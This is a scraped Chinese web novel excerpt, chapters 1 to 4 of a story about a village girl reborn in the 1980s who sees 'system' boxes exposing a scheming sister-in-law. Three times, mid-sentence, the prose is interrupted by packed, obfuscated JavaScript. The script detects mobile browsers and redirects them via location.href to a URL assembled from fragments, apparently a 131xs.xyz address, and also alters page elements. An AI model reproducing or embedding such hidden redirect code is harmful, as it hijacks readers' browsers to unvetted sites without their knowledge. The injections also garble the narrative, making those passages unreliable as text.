《被攻略的恶毒女配重生后[八零]》 1. 第 1 章 “妈，梨儿还烧吗？ “都怪我，要是我昨天晚上看住她，不让她偷偷溜出去玩，也不会冻感冒了……” 周晚梨一醒来就听见门口传来大嫂秦海霞柔弱的嗓音，一股说不出的味道直冲天灵盖。 听听这话说的，她一个19岁的成年人，大晚上偷偷溜出去玩冻感冒了，还要怪旁人没看住？ 这话乍一听是自责，仔细想想可不是纯纯在骂她？ 问题是，她昨晚并不是出去玩，秦海霞也知道，现在却故意这样说，显然并没有安好心。 可恨上辈子瞎了眼，竟觉得这个大嫂温柔善良，对她很好。 是的，上辈子。 周晚梨已经死过一次了。 上辈子秦海霞不顾身怀六甲，突然跑回娘家，坚持要跟大哥离婚。大哥去她娘家想弄清楚原委，出去时好好的一个人，回来却被人打断四肢还割掉了舌头。 据说是在路上遇到了逃跑的杀人犯，怕大哥暴露行踪才对他下此狠手。 周晚梨一直对此将信将疑。 可惜直到死的那天，她才再次见到秦海霞。 当时她被一群人围攻，秦海霞挺着孕肚挤不到前面，在人群外朝她招手：“梨儿，过来嫂嫂这边。” 周晚梨狼狈地朝她爬过去。 一向温婉柔弱的大嫂，忽然拎起一块板砖对着她脑袋狠狠砸了下去。 可真痛啊。 …… “梨儿，你感觉怎么样？”房门被人从外面推开。 周晚梨转过头，先看到母亲丁兰香的脸，她还年轻，还没有一夜白头，还没有变成行尸走肉。 “妈……”周晚梨瞬间鼻子发酸，眼泪夺眶而出。 上辈子大哥成了残废，二哥被骗入狱，养弟为了认回有钱的亲生父母对他们一家大肆造谣，父亲直接被气死，她也被乱棍打死……不敢想象，单薄瘦弱的母亲要怎么撑下去。 “哪里不舒服？”丁兰香一看周晚梨哭就急了，快步上前摸摸她的额头，“不烧了啊。” “梨儿可不像我们，皮糙肉厚的。她哪里吃过什么苦，这回病得这么严重，就算身体好了，心里也定是委屈的。”秦海霞在旁边道，“梨儿别怕，等下嫂嫂给你煮糖水喝。” 周晚梨这才抬眸去看她。 这一看，视线便僵住了。 秦海霞头顶悬浮着一个闪着光的框框。 有点像在别人家看到的电视屏幕，四四方方的，上面写着几行字。 【攻略对象：周晚梨 身份：恶毒女配 好感度：85】 【提示：周晚梨好吃懒做，甜食能让人心情愉悦，建议为她准备一些甜食。】 这是上辈子没有的，丁兰香头上也没有。 周晚梨紧紧盯着那个方框，呼吸急促起来。 上辈子临死前听到一些声音又在耳边回响。 “终于在她黑化前把这祸害弄死了。” “不枉我装了那么久的深情，都快吐了。” “要不是为了任务，谁搭理这恶毒女配？” “……” 所以她的死和这个框框有关吗？ “怎么了？”秦海霞被她盯得心里发毛，顺着她的视线抬手在自己头顶摸了下，手指从方框中穿过，并未受到任何阻碍，“我头上有东西吗？” 很显然，她并不知道自己已经暴露了。 周晚梨回过神来，刚想说话，忽然一阵控制不住的恶心反胃。 秦海霞没得到回应，正往周晚梨面前凑，猝不及防就被喷了一身。 她的五官瞬间扭曲。 【预警！监测到宿主对攻略对象产生了强烈怨恨，暴露风险大大提升，建议宿主尽快调节心态。】 方框里弹出一条新的文字。 秦海霞闭了闭眼。 【想想任务完成后的丰厚奖励，二十万可以买无数套新衣服了！】 二十万！ 【可以帮你完成一个心愿，但不能超自然力，比如让死人复活。】 周晚梨看着秦海霞头上的文字不断更新，像是在对话，猜测她可以不说话就直接和那个框框交流。 “海霞，没事吧？”丁兰香拉开秦海霞，满脸抱歉，“真是不好意思，你快去换衣服。” 秦海霞睁开眼，已经恢复了一贯的温柔小意：“这有什么，梨儿只是生病，又不是故意冲我吐。不过，她这样吐说明病没好，我还是去请杨大夫过来看看吧。妈，辛苦你给梨儿倒杯温水漱漱口，她现在肯定很难受。” 说着，已经大步走出房间。 她情绪转换极快，丁兰香没看出破绽，很是感动。 这年头家家户户人口都多，生活条件又差，家人间为点鸡毛蒜皮的小事吵架是常有的事情。 嫂子做到秦海霞这份上的，整个周家湾都找不出第二个。 “梨儿，还想吐吗？”丁兰香给周晚梨倒了杯温水，扶着她坐起来。 周晚梨漱了口，胃里翻江倒海的感觉平复下去，摇摇头道：“我没事了。” 丁兰香看她神色倦怠，脸色苍白，也不像往常那样有说不完的话，猜她是还难受，在她背后垫上枕头，将被子掖好：“那你先躺一会儿，等杨大夫来看过再睡，想要什么就和我说。” 看到周晚梨点头，丁兰香才去厨下铲了草木灰过来，盖住呕吐物，这样更好打扫。 屋子里是泥土地面，扫地的时候灰尘大，草木灰和呕吐物气味也大，丁兰香先过去将蚊帐放下来，却看到周晚梨直勾勾顶着蚊帐顶，一副神游天外的样子，心里不由有些发紧。 昨天晚上，周晚梨出门回来就开始生病。 先是在梦中大喊大叫，怎么都叫不醒，后来便开始发高烧，现在又这副样子。 莫非不是感冒，而是中邪？ 丁兰香忧心忡忡地打扫完屋子，便到门口张望，想着等丈夫回来商量一下，要不要去找神婆来给周晚梨看看。 周晚梨只是在思考。 上辈子对她态度突然转变的，不止秦海霞一个。 她猜测那些人大概率跟秦海霞一样，接近她对她好并非真心喜欢她，而是为了这个所谓的攻略任务。 完成任务，可以得到二十万巨款，还能帮忙完成心愿。 至于“黑化”、“女配”是什么意思，周晚梨有点拿不准，但“恶毒”的意思她还是很清楚的。 恶毒？ 难道不是那些害她家人的人更恶毒？ 既然背了恶毒的名声，既然好人得不到好报，那这辈子，倒是不妨真的恶毒给他们看看。 只要能保护家人，她什么事都可以做。 “海霞，辛苦你了。”丁兰香的声音从门口传来，打断了周晚梨的思绪，“杨大夫怎么没来？” “妈，不好意思啊。杨大夫年纪大了，昨晚半夜过来给梨儿诊治，说是有点着凉，正休息呢。”秦海霞温温柔柔地说，“我怕真把他老人家给累病了，到时候别人会说我们梨儿不好，所以就没勉强他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563137|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。不过，我把梨儿的情况跟杨大夫说了，他说问题不大，吐出来反而是好事，好好休息吃药就行，有新的情况再和他说。” 杨大夫是村子里唯一的医生，今年已经八十高龄。 秦海霞这番话乍一听，没什么问题。 但周晚梨突然想起来，上辈子还真听过类似的流言——在她这次生病以后，就老有人说她半夜折腾老医生还嫌弃人家医术不精。 以至于后来在周家和另一户人家同时需要医生的时候，杨大夫去了另一家。 上辈子周家人猜了半天是谁在背后乱说，猜来猜去唯独没想到可能是自家人——现在旁人还不知道周晚梨生病了，流言的内容和秦海霞刚才的话重合度极高，只能是她先传出去的。 “梨儿，你感觉怎么样？”秦海霞忽然急匆匆跑进来，撩开蚊帐，抓住周晚梨的手上下打量，“哪里不舒服吗？” 她眼底是满到快溢出来的关切，素来温柔的嗓音甚至有点劈叉，看得出来是真着急。 周晚梨都懵了下，随后抬头看向她头顶。 【好感度：0】 难怪她着急。 【好感度-2】 【警告！攻略对象好感度在短时间内大幅度下降，跌破临界值剧情将不可控，请宿主尽快寻找原因加以补救。】 “我还是去请杨大夫过来一趟吧。”秦海霞彻底坐不住了。 “不用请大夫。”周晚梨将她按回去坐着，顺势抽出自己的手塞进被窝里，淡淡道，“我感觉好多了。” 上辈子还有很多疑团没解开，尤其是大哥伤得颇为蹊跷，这些事都需要从秦海霞身上找答案。 还有她头上的框框，也能提供不少信息。 她还有时间，不着急撕破脸。 秦海霞闻言，沉默了一小会儿。 周晚梨看到她头顶又弹出一个小框：【绝不可能！本系统对好感度的检测从未出过错，宿主还是从自己身上找原因吧。】 原来这个框框叫系统。 “那你饿不饿？渴不渴？”秦海霞得到系统的答复后，又挤出微笑，继续关心周晚梨，“或者，你想要什么都可以和嫂嫂说，有不舒服也一定要说出来。” 周晚梨：“是有点饿了。” “嫂嫂这就去给你弄吃的。”秦海霞“蹭”一下站起来，“你病着要吃清淡一点，白粥好不好？” “好啊。”周晚梨点点头，“谢谢嫂嫂。” 【好感度-1】 秦海霞：？？？ “不行，煮粥太慢了。”秦海霞又转回头，看向周晚梨试探着改口，“要不，还是给你煮面条吧？” 周晚梨继续点头：“我都可以，看嫂嫂方便。” 【好感度-2】 【提示：攻略对象喜爱甜食，不爱吃面条。】 “……”秦海霞深吸一口气，再次改口，“不对，感冒好像不能吃面条……我去给你煮荷包蛋？” 周晚梨：“家里没几个蛋了，还是留着给嫂嫂补身体吧。” “不不不，你现在才需要好好补身体。鸡蛋有营养，吃蛋好。”秦海霞看好感度没再掉，松了口气，“我这就去给你煮。” 说完便快步跑出房间，周晚梨看着她仿佛被狗追的背影，缓缓躺回去。 周家湾土地少，很多人家都吃不饱饭，周家也一样。 周晚梨知道自己干活少，平常也就尽量少吃，导致身体一直不太好。 改变，就从先让自己吃饱饭、吃好饭开始吧。 2. 第 2 章 可能是看到出去是秦海霞表情太过凝重，外面的丁兰香不放心，又返回房间：“梨儿，又不舒服吗？” “没有，妈，我只是有点饿了。”周晚梨道。 在丁兰香朴素的观念里，饿了想吃东西就等于病好了一大半，她一颗悬着的心顿时落了地，高兴道：“想吃什么？妈去给你煮。” “不用，嫂嫂已经去做了。”周晚梨试探着道，“她做事，你还不放心吗？” “那不能。”丁兰香心情好，忍不住开了个玩笑，“我不放心我自己也不能不放心海霞。” 果然，和记忆中一样，家里人对秦海霞是百分百信任。 周晚梨按下想和母亲坦白的心思。 死而复生这种事情说出来，只怕没人会信。 真信了，大概率也会把她当成怪物、中邪，以她对周家湾这些人迷信程度的了解，他们会直接打死她，父母都未必能拦住。 就像上辈子那样。 真相不能说，至于秦海霞等人的真面目，也不能莽撞地直接戳破，要有理有据才能令人信服。 不着急，慢慢来，还有时间。 周晚梨调整好心态，拉着母亲的手道：“就是嘛，我这边有嫂嫂照顾，你不必担心。倒是刚才听嫂嫂说，杨大夫昨晚好像受凉了？他也算是被我连累，杨家今年肯定没人做豆腐，你给他送两块过去吧，豆腐软和，适合老人家。” 豆腐这个食物老少皆宜，吃不完还能风干保存很久，周家湾就有过年做豆腐的传统。 尤其这两年分田到户后，用来种什么怎么种全由自家决定，很多人家都种了黄豆。 今天已经是腊月二十二，家家户户都开始准备年货，周晚梨家也一样，昨天刚把豆腐做出来。 不算很贵重的东西，但送给老人就恰到好处。 周晚梨让丁兰香去给杨大夫送豆腐，并非是为了以后二选一的时候让杨大夫选择周家。她既然已经活过一次，就不会再让周家陷入那样的困境中。 她是真心敬佩感激杨大夫，他是个好医者，但也是个可怜人。 “还是梨儿想得周到。”丁兰香既欣慰又有点不好意思，“我都没想到这些，这就去……还好当初没听他们的话，坚持生了你，真生对了。” 别看周晚梨年纪小，但周家一窝子老实人，就她脑子灵活转得快，经常反过来提点他们这些大人。 周晚梨提醒道：“嫂嫂今天已经跑了好几趟，别让她再跑路了。” “知道。”丁兰香说，“豆腐在院子里，我拿上就走，保证她都不知道。” 周晚梨满意地躺了回去。 丁兰香是真的没什么心眼，有时候容易被别人算计，但也有个好处——她对信任的人，就是百分百信任。 比如对周晚梨，她就无条件信任。无论周晚梨说什么，她都能听进去。 不像有的家长，从不认真对待孩子的话。 果然，丁兰香轻手轻脚去院子里拿上两块豆腐就走了，完全没惊动秦海霞。 秦海霞煮好荷包蛋端进屋，看到周晚梨歪倒在床上，一脸苦闷的表情，心里顿时便“咯噔”一下，上前小心翼翼地问道：“梨儿，你怎么了？又不舒服吗？” “没有。”周晚梨坐起身，蔫巴巴地说，“只是心情突然便有些不好。” 【好感度-1】 【好感度-1】 系统又弹出两条提示，至此周晚梨的好感度彻底降为0。 秦海霞被这好感度搞得摸不着头脑，都快哭了，手忙脚乱地将手里的碗递上去：“是不是等太久饿着了？你，你先吃点东西……吃点甜的。” “谢谢嫂嫂。”周晚梨接过碗一看，里面有三颗荷包蛋。 抛开别的不谈，秦海霞煮荷包蛋的厨艺确实不错。 每颗蛋都圆滚滚地凝结成一团，没有一点散开，蛋黄还微微可以流动，但又不至于太稀，是周晚梨最喜欢的程度。 汤里放了一点白糖，有点甜味但不会太甜。 周晚梨一口气将三颗蛋连同汤水全吃光了，顺手将碗还给秦海霞：“好吃。” 她脸上露出点笑模样，清澈的大眼睛望向秦海霞，看着格外真挚。 但是好感度一点没涨。 “你喜欢就好。”秦海霞都快急死，“吃饱了吗？不够我再去给你煮。” 怎么都吃上蛋了还不涨好感度？ 早知道，还是该多煮几个蛋。 可是，之前明明只要嘴上说说，都不用真给她吃都会涨好感度的。 “饱了。”周晚梨摸摸肚皮，实话实说。 她胃小，几颗蛋加一碗汤下去是真的饱了。 “那你……”秦海霞有苦说不出，磨磨蹭蹭不想走，“还想要别的什么吗？” 周晚梨看了看，说：“麻烦嫂嫂帮我拿件干净的衣服吧，刚才吐过，总觉得身上有股味。” “好的好的。”秦海霞赶紧帮她拿了衣服。 周晚梨将她打发出去，换好衣服，然后抱着脏衣服走出去。 “哎哟，梨儿你怎么下床了？”秦海霞果然在门口等着，殷勤地道，“病刚好，回去躺着吧，要什么跟嫂嫂说。” 周晚梨看着手里的脏衣服，为难道：“快过年了，这衣服一股臭味，我还是先去洗了……” “天气这么冷，你又生着病，哪里能碰水，嫂嫂帮你洗。”秦海霞一把将脏衣服接过去。 周晚梨：“这多不好意思。” “一家人不说这些。”秦海霞道，“嫂嫂一直拿你当亲妹妹，为你做什么都高兴。” “嫂嫂真好。”周晚梨手指一转，指向墙角一堆脏衣服，“还有这些也要洗。” 前段时间天气不好，一直没出太阳，家里人多，攒了很多脏衣服，都快堆成山了。 秦海霞：“……” 家里衣服一般都是丁兰香在洗，她偶尔帮忙，但也就是打个下手，很少真的出力。 反正丁兰香也不会计较。 今天丁兰香也不知道跑哪里去了，天气这么冷，她真的不想洗。 【好感度-1】 【好感度-2】 【好感度-3】 【好感度-5】 【……】 “没问题。”秦海霞慌了，“这些本来就是我该做的，男人在外面干活，女人就该……干家务。” 周晚梨微笑：“辛苦嫂嫂了。” 秦海霞无奈，只得将衣服抱走。 昨天还下了雪，河水冷得刺骨，秦海霞将衣服泡好就有点受不了。 打着拿衣架的借口，回了趟家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563138|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 远远便看到周晚梨坐在院子里，身上盖着被子，晒着太阳，摇晃着躺椅，要多惬意有多惬意。 秦海霞恨得牙痒痒，但还是笑着走过去问：“梨儿，在晒太阳啊？还需要什么吗？冷不冷？” 我冷，你能不能涨点好感度。 “不冷。”周晚梨摇摇头，“就是腿有点不舒服，能不能麻烦嫂嫂帮我搬个凳子出来？” 秦海霞：“……” 你还真好意思啊。 【好感度-3】 “当然可以。”秦海霞急忙跑进屋，搬了个凳子出来，卑微地放到周晚梨面前，让她放脚。 到底为什么今天好感度会一直掉？ 之前明明很简单的，随便说两句漂亮话，就会不停涨。 她都在考虑二十万该怎么花了。 怎么突然全掉了？ 到底哪里出问题了？ 看到秦海霞神色好似都有点恍惚了，周晚梨在心里默念一声：好感度+1。 系统没有任何反应。 周晚梨想了想，又默默道：这样躺着确实好舒服，嫂嫂真周到。 下一秒，秦海霞头顶弹出新的提示：【好感度+1】 周晚梨瞬间失笑。 看来不能简单粗暴地想加减好感度，要是真实感受才行。 秦海霞长舒一口气，从来没有觉得1点好感度如此难挣过。 不过，好感度还会再涨起来就行。 说明系统是没问题的。 可能只是周晚梨昨晚病得厉害，身体不舒服影响了她的心情。 说不定明天她心情一好，好感度就全回来了。 反正她对自己印象那么好，好感度肯定还能再涨回来，不用太担心。 不如今天就先躲开她，免得她心情不好迁怒自己。 秦海霞还是决定回去洗衣服：“那你好好晒太阳，有什么事喊我。” 眼睁睁看着秦海霞额头上滚落一滴汗珠，想到她今天内心的崩溃和挣扎，周晚梨眼睛都笑弯了，甜甜道：“好的，辛苦嫂嫂。” 看吧，我就说她很关心我，对我印象很好的。秦海霞心里这么安慰着自己，脚下可半点不敢耽搁，走得飞快。 看着她仓皇消失的背影，周晚梨轻笑一声，晃着躺椅摇了几下，忽然扭头朝耳房那边看去。 耳房比正房要靠前一些，这样就形成了一个转角。 在转角的地方，站着一个陌生男人。 他个子很高，但并不显壮，大冬天只穿了件薄外套，却身姿挺拔，好像一点也不怕冷。他的五官英俊，肤色比村子里的男人要白很多，有点白面书生的气质。可他的眉角有道不算太明显的疤痕，眼神也如鹰隼般锐利，平添几分凶煞之气。 不知道为什么，跟他的视线一接触，周晚梨莫名就觉得，他应该看穿了自己在故意折腾秦海霞。 “你找谁？”周晚梨并不在意。 这男的长这么好看，但凡是稍微和她家有点关联，她都不可能不记得。 可她两辈子的记忆里都没有这个人，说明这人只是个过路人，可能是走亲戚走错路了，这种事很常见的。 谁知道对方嘴里却吐出了周晚梨父亲的名字：“请问这里是周平玉家吗？” 周晚梨：“……” 3. 第 3 章 周晚梨还在迟疑要不要承认，就听到丁兰香刚好回来，热情地接了句：“对，这里是周平玉家，你是哪位？” 否认是来不及了，周晚梨只好紧紧盯住陌生男人——妈妈也不认识，这人肯定不是家里常来往的亲戚。 “婶子你好，我叫傅同舟。”男人看着有点凶，言语间倒是格外客气，“抱歉打扰你们了，我是来租房的。” “租房？”丁兰香还以为自己听错了。 她倒是听人说过，有些刚搬迁到城里的人没有房子住，就会去租别人家的房子住。 但那是城里，周家湾是乡下。 还是个偏远山村，村子里的人做梦都想进城。 之前隔壁周城玉被女儿女婿接到城里去住，周家湾讨论了好几个月，都羡慕得不行。 谁会跑来周家湾租房？ 反正之前从来没有过。 没等她进一步确认，周晚梨已经直接从椅子上坐了起来，抢先道：“不好意思，你找错地方了，我家没有房子出租。” 相比这辈子去过最远的地方是县城的丁兰香，周晚梨上辈子已经算是见过大世面了，对租房这事并不陌生，可她看到眼前这个男人第一眼就觉得他很危险。 更何况这人还叫“傅同舟”。 周晚梨上辈子对“傅同舟”这个名字还算熟悉，甚至一度成为她的噩梦。 那会儿她第一次去省城，刚好碰上严打，闹了点误会被抓去蹲了一晚上看守所。 看守所里有几个老油条看她长得年轻漂亮，就故意吓唬她。 “这么好看的妹子也会犯错误？” “进来也好，至少有公安保护，不会被傅同舟盯上。” “没事，傅同舟也不是见人就杀的，他只喜欢杀年轻漂亮又不学好的小姑娘……哎哟，对不住，我不是说你哈。” “我怎么听说傅同舟喜欢杀小孩子？” “你们都错了，傅同舟杀的，其实都是坏人。” “……” 她们一开始是为了恐吓周晚梨，但聊着聊着话题就跑偏了。 周晚梨没敢跟她们搭腔，但听了一晚上也基本搞清楚了——有个叫傅同舟的杀人狂魔最近在省城疯狂作案，严打就是因为他。 后来周晚梨向其他人打听过傅同舟，得到的消息五花八门。 有人说他杀了几个人，有人说他杀了几十个人，有人说他每天都要杀一个人、已经杀了几百个人； 有人说他长得很好看，有人说他长得特别丑，有人说他是个巨人，有人说他是矮子； 有人说他只杀男人，有人说他只杀女人…… 总结起来，别的消息可能都是假的，傅同舟是个杀人狂魔的事情肯定是真的。 上辈子直到周晚梨离开省城，傅同舟也没被抓到。 周晚梨也没见过他的样子。 但偶尔胡思乱世，就会梦到被一个叫“傅同舟”的杀人狂魔狂追。 眼前这个人，名叫“傅同舟”，长得既好看又凶……反正周晚梨感觉不太妙，还是远离的好。 “对啊，我家人口多，房子自己住还不够呢，没有多余的房子出租。”丁兰香不像周晚梨想那么多，但实话就是家里确实没有房子出租。 “二位误会了，怪我没有说清楚。” 傅同舟却指向隔壁周城玉家的房子道，“听说这家人搬走了，房子托你家在管理，是吗？” “你说城玉家的房子啊？没错，他走的时候是托我们在照管。”这次没等周晚梨想出借口再推诿，丁兰香已经直接承认了。 傅同舟点点头：“请问他家房子出租吗？” “这……他没说。”丁兰香为难地说，“你等一下。” 说完忽然扯起嗓子朝背后的山里大喊一声：“周平玉！” 回声在山谷里循环。 周晚梨想阻拦都来不及。 傅同舟也像是被吓了一跳，手指蹭了蹭鼻尖，说：“不用打扰周叔……” “不打扰……”丁兰香刚说到一半，山里便传来周平玉的回应，问她什么事，丁兰香又扯着嗓子道，“家里来客了，你快回来！” 喊完又热情邀请傅同舟到家里坐。 傅同舟见家里只有两位女性，婉拒了。 丁兰香便回屋搬了凳子出来，傅同舟盛情难却，这才坐下等。 对有人来周家湾租房这事，丁兰香实在好奇，忍不住问了人家一连串问题：“你是哪里人？为什么会来周家湾租房？租房以后想做什么？” 傅同舟看着倒是好脾气，有问必答：“我祖上就是周家湾的，爷爷想要落叶归根，让我提前回来了解一下。” 他说得真诚，周晚梨却莫名有种直觉——他在撒谎。 不过周晚梨没有着急戳破他，她要等丁兰香先和人聊，争取掌握更多信息。 果然，丁兰香非常惊讶：“你祖上是周家湾的？周家湾有姓傅的人家吗？” 周家湾是个小村子，只有几十户人家，大部分就算不熟悉，也听说过。 她一时间真想不起有姓傅的。 “没有吗？”傅同舟淡定反问。 丁兰香顿时就不自信了：“可能有吧，只是我不知道，等平玉回来问问他。你放心，平玉对周家湾很熟悉，只要你祖上是从这里出去的，他一定知道。” 傅同舟再次道谢。 丁兰香又问起他是干什么的，家里有些什么人。 她并非故意打探人隐私，只是平常都是跟熟悉的人打交道，问家里情况是表示关心，形成习惯了。 傅同舟也没表现出抗拒，可惜都没正面回答，提炼不出一点有效信息。 丁兰香听不出来，还是乐呵地跟人聊着。 周晚梨一直没插嘴。 上辈子她帮着做过人口普查，非常确定周家湾没有姓傅的人家。 傅同舟就是在撒谎。 但周晚梨更不敢戳破他了。 眼前这人如果真是那个杀人狂魔，想必脾性一定很古怪，说不好怎么就得罪了。 最好想个办法将他送走。 正思量，周平玉回来了。 年底还走动的一般都是比较亲近的亲戚，结果回来看到个陌生人，他也很疑惑。 丁兰香赶紧将情况说了下。 “哎哟，这事我可做不了主。”周平玉抱歉地说，“虽然城玉走之前托我们照看屋子，但仅限于打扫卫生、不让别人来搞破坏这些小事，出租这么大的事情，必须问过他本人才行。” 傅同舟表示理解：“那就麻烦周叔帮我问问，可以吗？” “当然可以。”周平玉说，“不过，城玉现在住得远——要不是回家不方便他也不会托我照看房子。这又到了年底，写信的话，来回怕不得一个月……你等得起吗？要不去看看别的房子？” “发电报吧。”傅同舟摸出五块钱递给周平玉，“不能因为我的事让周叔破费。” 两人推让一番后，老实巴交的周平玉败下阵来，有些不好意思地将钱收下：“肯定用不了这么多，等发完电报，剩下的钱我再还给你。” 他因此对傅同舟心生好感，强势挽留他吃中午饭。 本来也到了饭点，走到镇上还有差不多十里路，年底了家里多少备着些吃的，这时候叫客人饿着肚子走会被人嘲笑的。 周晚梨懒得看他们拉扯，一扭头发现秦海霞洗完衣服也回来了，在厨房探头探脑地往这边看，眼底明晃晃露出贪婪的神色。 注意到周晚梨的视线，她讪笑着缩回了头。 周晚梨心里一动，朝厨房走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563139|171404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 “梨儿你还生着病呢，快去休息，这里不用你帮忙。”秦海霞看到她急忙道，“有我和妈就够了。” 周晚梨将两手揣在兜里，并没有要帮忙的意思：“他们太吵了，我过来清净清净。” “他们说啥了？”秦海霞顺势问道，“我看那个人好像拿钱给爸了？是确定要租房吗？” “还没问过城玉叔呢，怎么可能就让他租？他让给城玉叔发电报，给了五块钱。”周晚梨说。 秦海霞失声轻呼：“五块钱？！” 这会儿的电报还没涨价，七分钱一个字，五块钱足够将周城玉家的猪都问候一遍了。 “对，我看着他给的。”周晚梨叹息道，“就周家湾这破地方，城玉叔家的房子一年房租怕都要不了五块钱，这人家里肯定很有钱。只可惜，周家湾没有姓傅的人家，他估计也住不了几天，这钱城玉叔怕是挣不了多少。” 秦海霞眼睛一亮，想说什么又强行忍住，牙齿紧紧咬住唇瓣。 “会不会就因为他们家搬走了，现在才没有姓傅的？”丁兰香也忍不住插了一句嘴。 “有可能。”周晚梨瞥了眼秦海霞，故意道，“不过我还是觉得，更大的可能是他爷爷记错了。附近村子不少，环境都差不多，他家估计是其他村子的。” 丁兰香点点头：“也是，他说他爷爷离开的时候才三四岁，记错也正常。” 母女俩又闲聊几句，秦海霞一直没插话。 但周晚梨注意到她眼珠一直转个不停。 怕过犹不及，周晚梨没有再刺激她，以“闻着油烟味想吐”为由，又回了正房那边。 刚走到门口，就听见傅同舟在说：“……确实当过几年兵。” 周晚梨瞬间手脚冰凉。 上辈子那个杀人狂魔傅同舟，据说也是退伍军人。 还有人告诉她，说傅同舟就是因为在战场上杀了太多人，才会激发出凶性，退伍也控制不住自己的杀欲。 “唉，好好的一个战斗英雄，竟沦落成为杀人狂魔，实在是令人唏嘘。”那个人如是感叹。 当时周晚梨跟他有类似的感慨，现在她只觉得毛骨悚然。 稳了好一会儿，周晚梨才平复好情绪，若无其事地走进去，坐在角落听三个男人聊天。 后面傅同舟倒是没再透露更多信息，吃过午饭后，他就告辞离开了。 周晚梨注意到，在傅同舟提出要离开的时候，秦海霞就悄悄从后门溜了出去。 稍稍犹豫，周晚梨也跟了上去。 秦海霞一路躲躲闪闪、鬼鬼祟祟，最后停在周家湾通往镇子的必经山坡上。 周晚梨找了棵大树躲起来。 没几分钟，傅同舟便大步走近。 看到秦海霞在路上打转，他礼貌地打了声招呼。 “傅同志，这就要走了？”秦海霞不太自然地撩了撩刘海，“反正年底也没什么事，留下来多玩两天吧。” “不了，多谢款待。”傅同舟说完就想走。 秦海霞急忙叫住他：“哎，傅同志。” “周大嫂还有事？”傅同舟看着她问。 “有，有一个消息……”秦海霞支支吾吾几秒，一咬牙，还是直接道，“我觉着还是应该告诉你一声。” 傅同舟：“你请讲。” “周家湾没有姓傅的人家。”秦海霞说，“但是隔壁槐树村有。” 傅同舟并不如想象中那样反应很大，只是淡淡地“哦”了一声。 周晚梨见状，更加确定这人并不是来“认祖归宗”的。 她有点着急，微微探出脑袋，想要看清楚傅同舟的表情。 背后忽然传来极轻微的窸窣声，周晚梨下意识想回头，一只大手却更快地伸过来，捂住了她的嘴。 4. 第 4 章 周晚梨没有马上挣扎，她感觉身后的气息有点熟悉，小幅度扭头一看，竟然是大哥周和满。 本来脑子就乱，这下更乱了。 大哥怎么跟过来了？ 他是在跟踪她，还是在跟踪秦海霞？ 要是发现秦海霞表里不一，他会很难过吧？ 不过……周晚梨很快又镇定下来。 被他发现了也好。 秦海霞的真面目，迟早得让家里人知道，他早点有防备不是坏事。 确定周晚梨不会再挣扎，周和满松开手，朝前方使了个眼色，示意先听那两人的对话。 兄妹俩挤在大树后，默契地都没有探头，只是竖起耳朵听。 不知道秦海霞刚才又说了什么，就听见傅同舟回道：“那就麻烦周大嫂了。” 看来秦海霞已经说动傅同舟放弃周家湾，去槐树村租房了。 果然，随后秦海霞的声音里明显带着笑意：“不麻烦，助人为乐嘛，是每个人都应该做的。你去了槐树村，报我的名字，找我爸妈看房就行。房子是现成的，不需要发电报问谁，直接就可以住进去。还有，我大爷爷是村子里年纪最大的老人，对家家户户的情况都了解，你祖上的信息他肯定知道。” 周和满对秦家还是了解的，知道她家房子一家人住都打挤，并没有空房子可以出租，正疑惑，就听到秦海霞又补充道：“对了，那房子不是我家的，是我邻居家的。我也赚不到你的钱，只是纯粹不想看到你找错地方。” 傅同舟再次道谢。 随后两人便听到了他离开的脚步声。 秦海霞也哼着小曲往家的方向去了。 周晚梨看了周和满一眼。 大哥其实长得挺帅，标准的浓眉大眼，加上周家人天生皮肤白，夏天晒黑了冬天稍微一捂，皮肤又变成了健康的小麦色。 但他身上莫名带着股憨劲，尤其是眼神，快三十岁的人了，看人还总是直勾勾的，没点心机。 这会儿他脸上没什么表情，看着就显得有些茫然。 “嫂嫂应该只是好心，没想那么多。”周晚梨犹豫一瞬，还是决定帮秦海霞“解释”一下，“她向来明事理，不像有些媳妇什么事都只想着娘家。这次想必也不是为了钱，而是真心觉得那个傅同舟的老家在槐树村。” 她这个憨憨哥哥要是能听懂她的弦外之意更好，听不懂也没关系，反正她也没期待只通过这件事就能解决掉秦海霞。 周和满顿了顿，忽然道：“你知道我昨天去槐树村帮老丈人家干活了吧？” 周晚梨点点头。 大哥干活是一把好手，跟岳丈家离得又近，每年农忙他总要去帮着干不少活。 周和满继续道：“昨天海霞说她爸扭伤了脚，让我去帮她娘家砍柴，我到的时候是中午，他们刚吃过饭，我一直忙到天黑，他们说怕赶夜路不安全……哎呀，我跟你说这些干嘛。” 他说到一半忽然反应过来，急忙打住。 